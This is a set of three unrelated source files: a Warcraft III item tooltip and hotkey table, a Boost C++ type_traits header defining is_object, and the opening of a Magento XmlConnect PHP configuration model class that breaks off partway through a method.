Tip=Purchase Glyph of |cffffcc00O|rmniscience
Ubertip="Reveals the entire map for <AIrv,Dur1> seconds when used."
Description="Reveals the entire map."
[wneu]
Name=Wand of Neutralization
Hotkey=N
Tip=Purchase Wand of |cffffcc00N|reutralization
Ubertip="Hurls forth a stream of neutralizing magic that bounces up to <AIdc,DataC1> times, dispelling units in its wake. |nContains <wneu,uses> charges."
Description=Dispels magical effects in a chain.
[silk]
Name=Spider Silk Broach
Hotkey=S
Tip=Purchase |cffffcc00S|rpider Silk Broach
Ubertip="Binds a target enemy air unit in webbing, forcing the target to the ground. Webbed units can be hit as though they were land units. |nContains <silk,uses> charges."
Description=Webs a target air unit.
[lure]
Name=Monster Lure
Hotkey=L
Tip=Purchase Monster |cffffcc00L|rure
Ubertip="Creates a ward that draws nearby creeps to it."
Description=Draws nearby creeps to ward.
[skul]
Name=Sacrificial Skull
Hotkey=K
Tip=Purchase Sacrificial S|cffffcc00k|rull
Ubertip="Creates an area of Blight at a target location."
Description=Creates Blight at a target location.
[moon]
Name=Moonstone
Hotkey=N
Tip=Purchase Moo|cffffcc00n|rstone
Ubertip="Causes an eclipse that blocks out the sun and creates an artificial night. |nLasts <AIct,Dur1> seconds."
Description=Makes it night time.
[brac]
Name=Runed Bracers
Hotkey=R
Tip=Purchase |cffffcc00R|runed Bracers
Ubertip="Reduces Magic damage dealt to the Hero by <AIsr,DataB1,%>%."
Description=Reduces Magic damage to Hero.
[vamp]
Name=Vampiric Potion
Hotkey=V
Tip=Purchase |cffffcc00V|rampiric Potion
Ubertip="Adds <AIpv,DataA1> bonus damage and a life-stealing attack to the Hero. |nLasts <AIpv,Dur1> seconds."
Description=Damage bonus and life-stealing attack.
[woms]
Name=Wand of Mana Stealing
Hotkey=W
Tip=Purchase |cffffcc00W|rand of Mana Stealing
Ubertip="Steals mana from a target unit and gives it to the Hero. |nContains <woms,uses> charges."
Description=Steals mana.
[tcas]
Name=Tiny Castle
Hotkey=A
Tip=Purchase Tiny C|cffffcc00a|rstle
Ubertip="Creates a Castle at a target location."
Description="Creates a Castle."
[tgrh]
Name=Tiny Great Hall
Hotkey=G
Tip=Purchase Tiny |cffffcc00G|rreat Hall
Ubertip="Creates a Great Hall at a target location. Human, Night Elf, and Undead players will get their racial equivalent town hall."
Description="Creates a Great Hall."
[tsct]
Name=Ivory Tower
Hotkey=V
Tip=Purchase I|cffffcc00v|rory Tower
Ubertip="Creates a Scout Tower at a target location."
Description="Creates a Scout Tower."
[wshs]
Name=Wand of Shadowsight
Hotkey=W
Tip=Purchase |cffffcc00W|rand of Shadowsight
Ubertip="Gives the player vision of a target unit until that unit is dispelled. |nContains <wshs,uses> charges."
Description="Grants vision of a target unit."
[tret]
Name=Tome of Retraining
Hotkey=O
Tip=Purchase T|cffffcc00o|rme of Retraining
Ubertip="Unlearns all of the Hero's spells, allowing the Hero to learn different skills."
Description="Unlearns a Hero's skills."
[sneg]
Name=Staff of Negation
Hotkey=N
Tip=Purchase Staff of |cffffcc00N|regation
Ubertip="Dispels all magical effects in a target area. |n|cffffcc00Deals <AIdi,DataB1> damage to summoned units.|r"
Description=Dispels magic in an area.
[stel]
Name=Staff of Teleportation
Hotkey=E
Tip=Purchase Staff of T|cffffcc00e|rleportation
Ubertip="Teleports the Hero to the targeted allied land unit or structure."
Description=Teleports the Hero.
[spre]
Name=Staff of Preservation
Hotkey=E
Tip=Purchase Staff of Pr|cffffcc00e|rservation
Ubertip="Teleports a target friendly unit to its highest level town hall."
Description=Teleports a target unit home.
[mcri]
Name=Mechanical Critter
Hotkey=E
Tip=Purchase M|cffffcc00e|rchanical Critter
Ubertip="Creates a player-controlled critter that can be used to scout enemies."
Description=Creates a mechanical critter.
// Amulet of Spell Shield
[spsh]
Name=Amulet of Spell Shield
Hotkey=A
Tip=Purchase |cffffcc00A|rmulet of Spell Shield
Ubertip="Blocks a negative spell that an enemy casts on the Hero once every <ANss,Cool1> seconds."
Description=Blocks enemy spells.
// Rune of Shielding
[rsps]
Name=Rune of Shielding
Hotkey=S
Tip=Purchase Rune of |cffffcc00S|rhielding
Ubertip="Creates a shield on nearby friendly units that blocks the next negative spell that an enemy casts upon them."
Description=Gives nearby units a shield that blocks an enemy spell.
// Spell book
[sbok]
Name=Spell Book
Hotkey=B
Tip=Purchase Spell |cffffcc00B|rook
Ubertip="A book full of random spells."
Description=A book full of random spells.
// Staff of Sanctuary
[ssan]
Name=Staff of Sanctuary
Hotkey=N
Tip=Purchase Staff of Sa|cffffcc00n|rctuary
Ubertip="Teleports a target unit to your highest level town hall, stunning the unit and regenerating <ANsa,DataE1> hit points per second. Lasts until the unit is fully healed."
Description=Heals and teleports a unit.
// Scroll of Speed
[shas]
Name=Scroll of Speed
Hotkey=S
Tip=Purchase Scroll of |cffffcc00S|rpeed
Ubertip="Increases the movement speed of the Hero and nearby allied units to the maximum movement speed. |nLasts <AIsa,Dur1> seconds."
Description=Increases movement speed of units.
// Rune of Speed
[rspd]
Name=Rune of Speed
Hotkey=D
Tip=Purchase Rune of Spee|cffffcc00d|r
Ubertip="Increases the movement speed of all nearby allied units to the maximum movement speed. |nLasts <APsa,Dur1> seconds."
Description=Increases movement speed of units.
// Dust of Appearance
[dust]
Name=Dust of Appearance
Hotkey=D
Tip=Purchase |cffffcc00D|rust of Appearance
Ubertip="Reveals enemy invisible units in an area around the Hero. |nContains <dust,uses> charges. |nLasts <AItb,Dur1> seconds."
Description=Reveals invisible units.
// Orb of Slow
[oslo]
Name=Orb of Slow
Hotkey=S
Tip=Purchase Orb of |cffffcc00S|rlow
Ubertip="Adds <AIsb,DataA1> bonus damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air, and have a chance to slow a target enemy unit's movement speed by <AIos,DataA1,%>% and attack rate by <AIos,DataB1,%>% for <AIos,Dur1> seconds."
Description=Attacks can slow enemies.
// Rune of Rebirth
[rreb]
Name=Rune of Rebirth
Hotkey=B
Tip=Purchase Rune of Re|cffffcc00b|rirth
Ubertip="Places the monster that held this rune under your control."
Description=Makes a monster yours.
// Diamond of Summoning
[dsum]
Name=Diamond of Summoning
Hotkey=D
Tip=Purchase |cffffcc00D|riamond of Summoning
Ubertip="Teleports <AUds,DataA1> of the player's units within the targeted area to the location of the Hero when used."
Description=Summons your units to your Hero.
//#RESTNOBETA
[sor1]
Name=Shadow Orb +1
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 1."
Description="Gul'dan's Shadow Orb."
[sor2]
Name=Shadow Orb +2
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 2."
Description="Gul'dan's Shadow Orb."
[sor3]
Name=Shadow Orb +3
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 3."
Description="Gul'dan's Shadow Orb."
[sor4]
Name=Shadow Orb +4
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 4 and armor by 1."
Description="Gul'dan's Shadow Orb."
[sor5]
Name=Shadow Orb +5
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 5 and armor by 1."
Description="Gul'dan's Shadow Orb."
[sor6]
Name=Shadow Orb +6
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 6 and armor by 1."
Description="Gul'dan's Shadow Orb."
[sor7]
Name=Shadow Orb +7
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 7 and armor by 2."
Description="Gul'dan's Shadow Orb."
[sor8]
Name=Shadow Orb +8
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 8 and armor by 2."
Description="Gul'dan's Shadow Orb."
[sor9]
Name=Shadow Orb +9
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 9, armor by 2 and grants enhanced hit point regeneration."
Description="Gul'dan's Shadow Orb."
[sora]
Name=Shadow Orb +10
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb
Ubertip="This artifact was imbued with special powers by the Orc Shadow Council. It increases your attack damage by 10, armor by 3 and grants enhanced hit point regeneration."
Description="Gul'dan's Shadow Orb."
[sorf]
Name=Shadow Orb Fragment
Hotkey=O
Tip=Purchase Shadow |cffffcc00O|rrb Fragment
Ubertip="A fragment of a powerful artifact."
Description="A fragment of the Shadow Orb."
[fwss]
Name=Frost Wyrm Skull Shield
Hotkey=F
Tip=Purchase |cffffcc00F|rrost Wyrm Skull Shield
Ubertip="This ancient Frost Wyrm skull has been equipped with handles, turning it into a powerful shield. Increases armor by 2 when worn and reduces Magic damage dealt to the Hero by <AIsr,DataB1,%>%."
Description="A powerful Undead artifact."
[gmfr]
Name=Gem Fragment
Hotkey=G
Tip=Purchase |cffffcc00G|rem Fragment
Ubertip="A fragment of a gem from a powerful ring."
Description="A Gem Fragment from a powerful ring."
[ram1]
Name=Ring of the Archmagi
EditorSuffix=(version 1)
Hotkey=R
Tip=Purchase |cffffcc00R|ring of the Archmagi
Ubertip="A powerful artifact with a sliver of a fragmented gem inset. Increases the Strength, Agility and Intelligence of the Hero by 1."
Description="A powerful artifact with a shattered gem."
[ram2]
Name=Ring of the Archmagi
EditorSuffix=(version 2)
Hotkey=R
Tip=Purchase |cffffcc00R|ring of the Archmagi
Ubertip="A powerful artifact with a part of a fragmented gem inset. Increases the Strength, Agility and Intelligence of the Hero by 2."
Description="A powerful artifact with a fragmented gem."
[ram3]
Name=Ring of the Archmagi
EditorSuffix=(version 3)
Hotkey=R
Tip=Purchase |cffffcc00R|ring of the Archmagi
Ubertip="A powerful artifact with most of a fragmented gem inset. Increases the Strength, Agility and Intelligence of the Hero by 3."
Description="A powerful artifact with a nearly intact gem."
[ram4]
Name=Ring of the Archmagi
EditorSuffix=(version 4)
Hotkey=R
Tip=Purchase |cffffcc00R|ring of the Archmagi
Ubertip="A powerful artifact with a wondrous gem inset. Increases the Strength, Agility and Intelligence of the Hero by 3 and gives nearby friendly units a bonus to mana regeneration."
Description="A powerful artifact with a wondrous gem."
[shtm]
Name=Shamanic Totem
Hotkey=H
Tip=Purchase S|cffffcc00h|ramanic Totem
Ubertip="This powerful Orc artifact channels Shamanic powers through its user, allowing them to cast Purge."
Description="A powerful Orcish artifact."
[esaz]
Name=Essence of Aszune
Hotkey=E
Tip=Purchase |cffffcc00E|rssence of Aszune
Ubertip="Legends speak of an intelligent Orc who found the Heart of Aszune. This is the essence of her heart, precious to the Night Elves. It has the power to heal the Hero that wields it. This item is permanent."
Description="A powerful Night Elf artifact."
[jpnt]
Name=Note to Jaina Proudmoore
Hotkey=J
Tip=Purchase Note to |cffffcc00J|raina Proudmoore
Ubertip="A note from Thrall, for Jaina Proudmoore."
Description="A note to Jaina Proudmoore."
[shwd]
Name=Shimmerweed
Hotkey=S
Tip=Purchase |cffffcc00S|rhimmerweed
Ubertip="Wondrous plant said to have miraculous mind-expanding properties."
Description="A shimmering plant."
[btst]
Name=Battle Standard
Tip=Purchase Battle Standard
Ubertip="The Battle Standard of Thrall's Orcs, carry it with pride."
Description="Thrall's Battle Standard."
[skrt]
Name=Skeletal Artifact
Tip=Purchase Skeletal Artifact
Ubertip="This ancient artifact entraps the souls of those who die violently, forcing them to relive the last moments of their lives for eternity."
Description="Soulfeast the Devourer."
[thle]
Name=Thunder Lizard Egg
Tip=Purchase Thunder Lizard Egg
Ubertip="This massive egg will not hatch without a parent to warm it."
Description="Massive Lizard Egg."
[sclp]
Name=Secret Level Powerup
Tip=Purchase Secret Level Powerup
Ubertip="Unlocks a secret level!"
Description="Unlocks a secret level!"
[gldo]
Name=Orb of Kil'jaeden
Hotkey=K
Tip=Purchase Orb of |cffffcc00K|ril'jaeden
Ubertip="Adds <AIgd,DataA1> bonus fire damage to the attack of a Hero when carried. The Hero's attacks also become ranged when attacking air and do splash damage to nearby enemy units."
Description=Attacks also do fire damage.
[wtlg]
Name=Wirt's Leg
Hotkey=L
Tip=Purchase Wirt's |cffffcc00L|reg
Ubertip="Could it be that a portal opened up and expelled the remains of our dearest pal from the world of Diablo to here? If so, was it a player, or a Demon? Just how many worlds have the Burning Legion conquered? Could the Demons of the Burning Legion and those of Sanctuary be one and the same? The mind wobbles."
Description=The One Leg.
[wolg]
Name=Wirt's Other Leg
Hotkey=O
Tip=Purchase Wirt's |cffffcc00O|rther Leg
Ubertip="Perhaps the overzealous adventurer pried this off before his journey here thinking it might give him one last opportunity at bovine slaughter. Little did he know where it would lead him."
Description=The One Other Leg.
[tbsm]
Name=Tiny Blacksmith
Hotkey=B
Tip=Purchase Tiny |cffffcc00B|rlacksmith
Ubertip="Creates a Blacksmith at a target location."
Description="Creates a Blacksmith."
[tfar]
Name=Tiny Farm
Hotkey=F
Tip=Purchase Tiny |cffffcc00F|rarm
Ubertip="Creates a Farm at a target location."
Description="Creates a Farm."
[tlum]
Name=Tiny Lumber Mill
Hotkey=R
Tip=Purchase Tiny Lumbe|cffffcc00r|r Mill
Ubertip="Creates a Lumber Mill at a target location."
Description="Creates a Lumber Mill."
[tbar]
Name=Tiny Barracks
Hotkey=B
Tip=Purchase Tiny |cffffcc00B|rarracks
Ubertip="Creates a Barracks at a target location."
Description="Creates a Barracks."
[tbak]
Name=Tiny Altar of Kings
Hotkey=K
Tip=Purchase Tiny Altar of |cffffcc00K|rings
Ubertip="Creates a Altar of Kings at a target location."
Description="Creates a Altar of Kings."
[mgtk]
Name=Magic Key Chain
Hotkey=K
Tip=Purchase Magic |cffffcc00K|rey Chain
Ubertip="This magical chain of keys can open many doors."
Description="A key chain."
[stre]
Name=Staff of Reanimation
Hotkey=R
Tip=Purchase Staff of |cffffcc00R|reanimation
Ubertip="Animates a nearby corpse to fight your enemies. Lasts <AInd,Dur1> seconds."
Description="Animates a corpse."
[horl]
Name=Sacred Relic
Hotkey=S
Tip=Purchase |cffffcc00S|racred Relic
Ubertip="A powerful artifact, sacred to the orc shaman. |nGrants the Hero and friendly nearby units increased attack rate and movement speed. |nDoes not stack with Endurance Aura."
Description="A sacred shaman artifact."
[hbth]
Name=Helm of Battlethirst
Hotkey=B
Tip=Purchase Helm of |cffffcc00B|rattlethirst
Ubertip="|cff8b00ffUnique|r|nGrants the ability to go Berserk, causing the Hero to attack <AIxk,DataB1,%>% faster but take <AIxk,DataC1,%>% more damage. Also increases strength and agility by 4 when worn."
Description="|cff8b00ffUnique|r|nThis helm makes you crave combat."
[blba]
Name=Bladebane Armor
Hotkey=A
Tip=Purchase Bladebane |cffffcc00A|rrmor
Ubertip="Grants nearby units <AIad,DataA1> bonus defense. Enhances the Hero's armor by <AId7,DataA1>."
Description="Increases armor."
[rugt]
Name=Runed Gauntlets
Hotkey=R
Tip=Purchase |cffffcc00R|runed Gauntlets
Ubertip="Increases the strength and armor of the Hero by 3 when worn."
Description="Increases strength and armor."
[frhg]
Name=Firehand Gauntlets
Hotkey=F
Tip=Purchase |cffffcc00F|rirehand Gauntlets
Ubertip="Increases armor by <AId5,DataA1> and attack rate by <AIs2,DataA1,%>% when worn."
Description="Fiery gauntlets that increase armor and attack rate."
[gvsm]
Name=Gloves of Spell Mastery
Hotkey=S
Tip=Purchase Gloves of |cffffcc00S|rpell Mastery
Ubertip="|cff8b00ffUnique|r|nGrants the ability to control summoned units. Also increases the intelligence of the Hero by <AIa6,DataA1> when worn."
Description="|cff8b00ffUnique|r|nThese gloves have a highly magical nature."
[crdt]
Name=Crown of the Deathlord
Hotkey=D
Tip=Purchase Crown of the |cffffcc00D|reathlord
Ubertip="|cffff8c00Artifact|r|nGrants the ability to fire bolts of pain that deal <AIfz,DataC1> damage. Also increases the Hero's hit points by <AIlf,DataA1> and mana by <AImz,DataA1> when worn.|n|cffffcc00History|r|n|cffffdeadThe Deathlords are rumored to have been mighty Paladins once. One of their order turned from the light when he slaughtered his own family, believing they were impure.|r"
Description="|cffff8c00Artifact|r|nA simple crown with the emblem of an unfamiliar Paladin order on it."
[arsc]
Name=Arcane Scroll
Hotkey=A
Tip=Purchase |cffffcc00A|rrcane Scroll
Ubertip="A powerful scroll that restores <AIha,DataA1> hit points, <AImr,DataA1> mana, and grants <AIda,DataA1> bonus armor to nearby friendly units."
Description="Restores hit points, mana and increases armor to nearby units."
[scul]
Name=Scroll of the Unholy Legion
Hotkey=I
Tip=Purchase Scroll of the Unholy Leg|cffffcc00i|ron
Ubertip="Animates <AIan,DataA1> nearby corpses to fight for you. Lasts <AIan,Dur1> seconds."
Description="Animates nearby corpses."
[tmsc]
Name=Tome of Sacrifices
Hotkey=T
Tip=Purchase |cffffcc00T|rome of Sacrifices
Ubertip="|cff8b00ffUnique|r|nGrants the ability to sacrifice a friendly non-Hero unit to restore hit points. Also increases the Hero's mana by <AImz,DataA1> while equipped."
Description="|cff8b00ffUnique|r|nAn evil looking tome with runes of necromancy etched into the binding."
[dtsb]
Name=Drek'thar's Spellbook
Hotkey=D
Tip=Purchase |cffffcc00D|rrek'thar's Spellbook
Ubertip="|cffff8c00Artifact|r|nGrants the ability to portal to your home town. Also reduces spell damage by <AIsr,DataB1,%>% and increases the Hero's mana by <AImv,DataA1> while equipped.|n|cffffcc00History|r|n|cffffdeadDrek'Thar's old spellbook is filled with pages stolen from Kirin Tor mages that were slain in battle.|r"
Description="|cffff8c00Artifact|r|nA seemingly simple spellbook, handed down from a master Farseer, Drek'thar."
[grsl]
Name=Grimoire of Souls
Hotkey=G
Tip=Purchase |cffffcc00G|rrimoire of Souls
Ubertip="|cff87ceebUnique Consumable|r|nThis powerful book permanently increases the hit points of the Hero by <AIpx,DataA1> each time it is used. |nContains <grsl,uses> charges."
Description="|cff87ceebUnique Consumable|r|nPermanently increases hit points."
[arsh]
Name=Arcanite Shield
Hotkey=A
Tip=Purchase |cffffcc00A|rrcanite Shield
Ubertip="Reduces damage from ranged attacks to <AIdd,DataA1,%>%. Also increases the Hero's armor by <AId5,DataA1> when worn."
Description="Increases armor and reduces damage from ranged attacks."
[shdt]
Name=Shield of the Deathlord
Hotkey=D
Tip=Purchase Shield of the |cffffcc00D|reathlord
Ubertip="|cffff8c00Artifact|r|nEngulfs the Hero in fire which deals <AIcf,DataA1> damage per second to nearby enemy land units. Also increases the Hero's armor by <AId0,DataA1>, hit points by <AIlf,DataA1>, and mana by <AImz,DataA1> when worn. |n|cffffcc00History|r|n|cffffdeadWhen Arthas took up the sword against his own people in Stratholme, the Deathlords committed the same heinous act in many other cities across Lordaeron.|r"
Description="|cffff8c00Artifact|r|nA magical shield with the emblem of an unfamiliar Paladin order on it."
[shhn]
Name=Shield of Honor
Hotkey=H
Tip=Purchase Shield of |cffffcc00H|ronor
Ubertip="|cff8b00ffUnique|r|nGrants nearby friendly units a <AIcd,DataA1,%>% bonus to attack damage. Also increases the armor of the Hero by <AId8,DataA1> when worn."
Description="|cff8b00ffUnique|r|nA Kul Tiras navy commander's shield."
[shen]
Name=Enchanted Shield
Hotkey=E
Tip=Purchase |cffffcc00E|rnchanted Shield
Ubertip="Increases the Hero's armor by <AId2,DataA1> and hit points by <AIlz,DataA1> when worn."
Description="Increases armor and hit points."
[thdm]
Name=Thunderlizard Diamond
Hotkey=T
Tip=Purchase |cffffcc00T|rhunderlizard Diamond
Ubertip="|cff8b00ffUnique|r|nCasts bolts of lightning that deal damage to multiple targets."
Description="|cff8b00ffUnique|r|nA massive diamond that crackles with electricity."
[stpg]
Name=Clockwork Penguin
Hotkey=P
Tip=Purchase Clockwork |cffffcc00P|renguin
Ubertip="This penguin squeak-toy was first created by the goblin tinkerer Salzhigh for the centaur. Regarding it with some awe (having never seen a penguin before) the centaur purchased them as idols and worshipped them at altars."
Description="A small clockwork penguin that squeaks."
[shrs]
Name=Shimmerglaze Roast
Hotkey=S
Tip=Purchase |cffffcc00S|rhimmerglaze Roast
Ubertip="A tasty roast with a shimmerweed base. Heals <AIhx,DataA1> hit points when eaten. |nContains <shrs,uses> charges."
Description="Restores lost hit points."
[bfhr]
Name=Bloodfeather's Heart
Hotkey=B
Tip=Purchase |cffffcc00B|rloodfeather's Heart
Ubertip="|cff8b00ffUnique|r|nIncreases the Hero's agility by <AIaz,DataA1> when worn."
Description="|cff8b00ffUnique|r|nThe heart of Bloodfeather."
[cosl]
Name=Celestial Orb of Souls
Hotkey=C
Tip=Purchase |cffffcc00C|relestial Orb of Souls
Ubertip="|cffff8c00Artifact|r|nBrings <AIrx,DataA1> of your nearby dead units back to life. |n|cffffcc00History|r|n|cffffdeadCrafted by the Titans as gifts to their favored creations, the Celestial Orb of Souls channels the powers of the light to bring back to life those who have recently fallen.|r"
Description="|cffff8c00Artifact|r|nA bright glowing orb that instills peace."
[shcw]
Name=Shaman Claws
Hotkey=S
Tip=Purchase |cffffcc00S|rhaman Claws
Ubertip="|cff8b00ffUnique|r|nThese are given to shaman upon the completion of their training. Increases attack damage by <AIlx,DataA1>. The Hero's attacks also have a chance to dispel magic and slow the movement speed of the enemy for <AIpg,Dur1> seconds."
Description="|cff8b00ffUnique|r|nIncreases attack damage and dispels magic."
[srbd]
Name=Searing Blade
Hotkey=B
Tip=Purchase Searing |cffffcc00B|rlade
Ubertip="Adds <AIfw,DataA1> bonus fire damage to the attack of a Hero when carried. The Hero's attacks also do splash damage to nearby enemy units, and have a <AIcs,DataA1>% chance to deal <AIcs,DataB1> times their normal damage."
Description="Increases attack damage."
[frgd]
Name=Frostguard
Hotkey=F
Tip=Purchase |cffffcc00F|rrostguard
Ubertip="Adds <AIft,DataA1> bonus cold damage to the attack of a Hero and <AId5,DataA1> bonus armor when carried. The Hero's attacks also slow the movement speed and attack rate of the enemy."
Description="Increases attack damage."
[envl]
Name=Enchanted Vial
Hotkey=E
Tip=Purchase |cffffcc00E|rnchanted Vial
Ubertip="Regenerates <AIp3,DataA1> hit points and <AIp3,DataB1> mana of the Hero over <AIp3,Dur1> seconds. |nContains <envl,uses> charges."
Description="Regenerates health and mana."
[rump]
Name=Rusty Mining Pick
Hotkey=R
Tip=Purchase |cffffcc00R|rusty Mining Pick
Ubertip="This heavy pick can be swung with force. Increases the Hero's attack damage by <AItg,DataA1> and gives a <AIbx,DataA1>% chance to stun the enemy."
Description="Increases attack damage and gives a chance to stun."
[mort]
Name=Mogrin's Report
Hotkey=M
Tip=Purchase |cffffcc00M|rogrin's Report
Ubertip="The letter is magically sealed. On the front, written in large scrawling letters is the word Thrall."
Description="A letter for Thrall."
[srtl]
Name=Serathil
Hotkey=S
Tip=Purchase |cffffcc00S|rerathil
Ubertip="|cffff8c00Artifact|r|nIncreases the attack rate of the Hero by <AIsx,DataA1,%>% and attack damage by <AItf,DataA1>.|n|cffffcc00History|r|n|cffffdeadThis weapon was crafted on Draenor for Kash'drakor and used in the Blood River war that ended with the annihilation of the Dark Scar clan. Nazgrel is the last living relative of Kash'drakor.|r"
Description="|cffff8c00Artifact|r|nThis massive axe is covered with notches and orcish runes."
[stwa]
Name=Sturdy War Axe
Hotkey=W
Tip=Purchase Sturdy |cffffcc00W|rar Axe
Ubertip="Increases the attack damage of the Hero by <AItj,DataA1> when carried."
Description="Increases attack damage."
[klmm]
Name=Killmaim
Hotkey=K
Tip=Purchase |cffffcc00K|rillmaim
Ubertip="|cffff8c00Artifact|r|nIncreases the attack damage of the Hero by <AItx,DataA1> when carried. Also causes the Hero's attacks to steal life.|n|cffffcc00History|r|n|cffffdeadWhen Dethorin found his lady, Allurana, in the arms of another, he went to the Barrens and cried out. An axe burst forth from the sands as if in answer. Dethorin slew Allurana and her lover, then hurled the axe with all his might into the deep dark sea.|r"
Description="|cffff8c00Artifact|r|nA slender crescent axe that smells of blood and salt."
[rots]
Name=Scepter of the Sea
Hotkey=R
Tip=Purchase Scepte|cffffcc00r|r of the Sea
Ubertip="|cff87ceebUnique Consumable|r|nSummons <AIwm,DataA1> Murlocs to fight for you. Also increases the Hero's strength, agility, and intelligence by 2. |nContains <rots,uses> charges."
Description="|cff87ceebUnique Consumable|r|nSummons murlocs."
[axas]
Name=Ancestral Staff
Hotkey=A
Tip=Purchase |cffffcc00A|rncestral Staff
Ubertip="|cffff8c00Artifact|r|nSummons <AIsh,DataB1> Troll Berserkers to fight for you. Also grants the Hero and friendly nearby units increased attack rate and movement speed.|n|cffffcc00History|r|n|cffffdeadNames of generations of Witch Doctors are carved into this staff. The wielder can call upon them for wisdom and guidance in times of peril.|r"
Description="|cffff8c00Artifact|r|nThis intricate staff has many names carved into it."
[mnsf]
Name=Mindstaff
Hotkey=M
Tip=Purchase |cffffcc00M|rindstaff
Ubertip="Increases the mana of the Hero by <AI2m,DataA1>. Also grants the Hero and friendly nearby units a bonus to mana regeneration."
Description="Increases mana."
[schl]
Name=Scepter of Healing
Hotkey=H
Tip=Purchase Scepter of |cffffcc00H|realing
Ubertip="Grants the ability to heal a friendly unit. Also grants the Hero and friendly nearby units <AIgx,DataA1,%>% increased hit point regeneration."
Description="A staff that heals others."
[asbl]
Name=Assassin's Blade
Hotkey=A
Tip=Purchase |cffffcc00A|rssassin's Blade
Ubertip="Adds <AItj,DataA1> bonus damage to the attack of the Hero when carried. The Hero's attacks also deal <AIsz,DataA1> damage per second, and slow the movement speed and attack rate of the enemy."
Description="Increases attack damage."
[kgal]
Name=Keg of Ale
Hotkey=K
Tip=Purchase |cffffcc00K|reg of Ale
Ubertip="Increases hit point and mana regeneration."
Description="Increases hit point and mana regeneration."
[dphe]
Name=Thunder Phoenix Egg
Hotkey=H
Tip=Purchase Thunder P|cffffcc00h|roenix Egg
Ubertip="A rare egg of a Thunder Hawk."
Description="A rare egg of a Thunder Hawk."
[dkfw]
Name=Keg of Thunderwater
Hotkey=K
Tip=Purchase |cffffcc00K|reg of Thunderwater
Ubertip="A keg filled to the brim with the strongest drink available this side of Khaz Modan!"
Description="A keg filled to the brim with the strongest drink available this side of Khaz Modan!"
[dthb]
Name=Thunderbloom Bulb
Hotkey=T
Tip=Purchase |cffffcc00T|rhunderbloom Bulb
Ubertip="An exotic plant well known for its unstable and dangerous properties."
Description="An exotic plant well known for its unstable and dangerous properties."
|
{
"pile_set_name": "Github"
}
|
// (C) Copyright Steve Cleary, Beman Dawes, Howard Hinnant & John Maddock 2000.
// Use, modification and distribution are subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt).
//
// See http://www.boost.org/libs/type_traits for most recent version including documentation.
#ifndef BOOST_TT_IS_OBJECT_HPP_INCLUDED
#define BOOST_TT_IS_OBJECT_HPP_INCLUDED
#include <boost/type_traits/is_reference.hpp>
#include <boost/type_traits/is_void.hpp>
#include <boost/type_traits/is_function.hpp>
#include <boost/type_traits/detail/ice_and.hpp>
#include <boost/type_traits/detail/ice_not.hpp>
#include <boost/config.hpp>
// should be the last #include
#include <boost/type_traits/detail/bool_trait_def.hpp>
namespace boost {
namespace detail {
template <typename T>
struct is_object_impl
{
#ifndef BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION
BOOST_STATIC_CONSTANT(bool, value =
(::boost::type_traits::ice_and<
::boost::type_traits::ice_not< ::boost::is_reference<T>::value>::value,
::boost::type_traits::ice_not< ::boost::is_void<T>::value>::value,
::boost::type_traits::ice_not< ::boost::is_function<T>::value>::value
>::value));
#else
BOOST_STATIC_CONSTANT(bool, value =
(::boost::type_traits::ice_and<
::boost::type_traits::ice_not< ::boost::is_reference<T>::value>::value,
::boost::type_traits::ice_not< ::boost::is_void<T>::value>::value
>::value));
#endif
};
} // namespace detail
BOOST_TT_AUX_BOOL_TRAIT_DEF1(is_object,T,::boost::detail::is_object_impl<T>::value)
} // namespace boost
#include <boost/type_traits/detail/bool_trait_undef.hpp>
#endif // BOOST_TT_IS_OBJECT_HPP_INCLUDED
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magento.com for more information.
*
* @category Mage
* @package Mage_XmlConnect
* @copyright Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
/**
* Configuration data model
*
* @category Mage
* @package Mage_Xmlconnect
* @author Magento Core Team <[email protected]>
*/
class Mage_XmlConnect_Model_ConfigData extends Mage_Core_Model_Abstract
{
/**
* Default category
*/
const DEFAULT_CATEGORY = 'default';
/**
* Configuration prefix
*/
const CONFIG_PREFIX = 'app_';
/**
* Delete on update paths array
*
* @var array
*/
protected $_deleteOnUpdate = array();
/**
* Configuration data
*
* @var array
*/
protected $_configuration = array();
/**
* Initialize configuration data
*
* @return null
*/
protected function _construct()
{
$this->_init('xmlconnect/configData');
}
/**
* Create an array that will be stored in configuration data
*
* Create an array: application id with a prefix as key and
* configuration data as value
*
* @param int $applicationId
* @param array $configData
* @return array
*/
protected function _assignConfig($applicationId, $configData)
{
